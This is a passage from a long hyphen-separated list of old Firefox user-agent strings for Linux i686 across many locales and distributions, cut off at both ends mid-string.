(X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070728 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070804 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070807 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070831 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070921 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070923 Firefox/2.0.0.7 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20061201 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071004 Firefox/2.0.0.8 (Debian-2.0.0.8-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071008 FreeBSD/i386 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071019 Fedora/2.0.0.8-1.fc7 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071201 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/1.5.0.9 (Debian-2.0.0.9-2) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071025 FreeBSD/i386 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071103 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071103 Firefox/2.0.0.9 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071105 Fedora/2.0.0.9-1.fc7 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686; en_US; rv:1.8.1b1) Gecko/20060813 Firefox/2.0b1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061001 Firefox/2.0b (Swiftfox) -Mozilla/5.0 (X11;U;Linux i686;en-US;rv:1.8.1) Gecko/2006101022 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8b5) Gecko/20051008 Fedora/1.5-0.5.0.beta2 Firefox/1.4.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060110 Debian/1.5.dfsg-4 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060111 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060118 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060119 Debian/1.5.dfsg-4ubuntu3 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060130 Ubuntu/1.5.dfsg-4ubuntu6 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060806 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/6 (Felicia) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/7 (Gloria) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042812 Gentoo Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060310 Linux Mint/6 (Felicia) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070610 Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070812 Linux Mint/5 (Elyssa) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090905 Fedora/3.0.14-1.fc10 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009091010 Firefox/3.0.14 (Debian-3.0.14-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/20090916 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.17) Gecko/2010010604 Ubuntu/9.04 (jaunty) Firefox/3.0.17 FirePHP/0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010072023 Firefox/3.0.6 (Debian-3.0.6-3) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010091807 Firefox/3.0.6 (Debian-3.0.6-3) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1pre) Gecko/2008062222 Firefox/3.0.1pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008091816 Red Hat/3.0.2-3.el5 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092000 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/1.4.0 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1.6 -Mozilla/5.0 (X11; U; Linux i686; en-us; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092809 Gentoo Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008110715 ASPLinux/3.0.2-3.0.120asp Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008100320 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3pre) Gecko/2008090713 Firefox/3.0.3pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.10 (intrepid) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4pre) Gecko/2008101311 Firefox/3.0.4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Linux Mint/6 (Felicia) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121718 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121914 Ubuntu/8.04 (hardy) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2009011301 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc10 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc9 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020518 Ubuntu/9.04 (jaunty) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020616 Gentoo Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.04 (hardy) Firefox/3.0.6 FirePHP/0.2.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022111 Gentoo Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022714 Ubuntu/9.04 (jaunty) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032018 Firefox/3.0.4 (Debian-3.0.6-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009041408 Red Hat/3.0.9-1.el5 Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Linux Mint/6 (Felicia) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Firefox/11.0 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Slackware/13.0 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2pre) Gecko/20090729 Ubuntu/9.04 (jaunty) Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090912 Gentoo Firefox/3.5.3 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090919 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.4) Gecko/20091028 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.6) Gecko/20100118 Gentoo Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100315 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3) Gecko/20090407 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090701 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.04 (jaunty) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10pre) Gecko/20100902 Ubuntu/9.10 (karmic) Firefox/3.6.1pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101114 Gentoo Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14pre) Gecko/20110105 Firefox/3.6.14pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.15) Gecko/20110303 Ubuntu/10.04 (lucid) Firefox/3.6.15 FirePHP/0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16) Gecko/20110323 Ubuntu/9.10 (karmic) Firefox/3.6.16 FirePHP/0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16pre) Gecko/20110304 Ubuntu/10.10 (maverick) Firefox/3.6.15pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.1) Gecko/20100122 firefox/3.6.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100312 Ubuntu/9.04 (jaunty) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100404 Ubuntu/10.04 (lucid) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.4) Gecko/20100625 Gentoo Firefox/3.6.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.7) Gecko/20100726 CentOS/3.6-3.el5.centos Firefox/3.6.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100727 Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.9) Gecko/20100827 Red Hat/3.6.9-2.el6 Firefox/3.6.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 FirePHP/0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Ubuntu/10.04 (lucid) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100128 Gentoo Firefox/3.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20051215 Firefox/1.6a1 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060117 Firefox/1.6a1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060217 Firefox/1.6a1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060814 Firefox/3.0a1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3) Gecko/2008020513 Firefox/3.0b3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008010415 Firefox/3.0b -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008020507 Firefox/3.0b3pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4) Gecko/2008031317 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021712 Firefox/3.0b4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021714 Firefox/3.0b4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008040318 Firefox/3.0pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-ZW; rv:1.8.0.7) Gecko/20061018 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.6) Gecko/20070803 Firefox/2.0.0.6 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.6) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Linux Mint/5 (Elyssa) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.7) Gecko/20060830 Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-1~bpo.1) -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080213 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.14) Gecko/20080419 Ubuntu/8.04 (hardy) Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20070225 Firefox/2.0.0.2 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060309 Linux Mint/5 (Elyssa) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060310 Ubuntu/8.10 (intrepid) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.14) Gecko/2009090216 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 GTB6 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.7) Gecko/20091222 SUSE/3.5.7-1.1.1 Firefox/3.5.7 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; eu; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1.2 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; fa; rv:1.8.1.4) Gecko/20100527 Firefox/3.6.4 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.13) Gecko/2009080315 Linux Mint/6 (Felicia) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; fr-be; rv:1.9.0.8) Gecko/2009073022 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5) -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.1.6) Gecko/20080208 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8) Gecko/20051111 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.0.5) Gecko/2008123017 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.10) Gecko/20050721 Firefox/1.0.6 (Ubuntu package 1.0.6) -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5) -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1) -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.8) Gecko/20050524 Fedora/1.0.4-4 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.10) Gecko/20070223 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 pango-text -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.8) Gecko/20061213 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.19) Gecko/20081216 Ubuntu/7.10 (gutsy) Firefox/2.0.0.19 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-2) -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.6) Gecko/20071008 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071030 Fedora/2.0.0.8-2.fc8 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060916 Firefox/2.0b2 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060918 Firefox/2.0b2 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8) Gecko/20051111 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8) Gecko/20060110 Debian/1.5.dfsg-4 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.03 -Mozilla/5.0 (X11; U; Linux i686; fr; 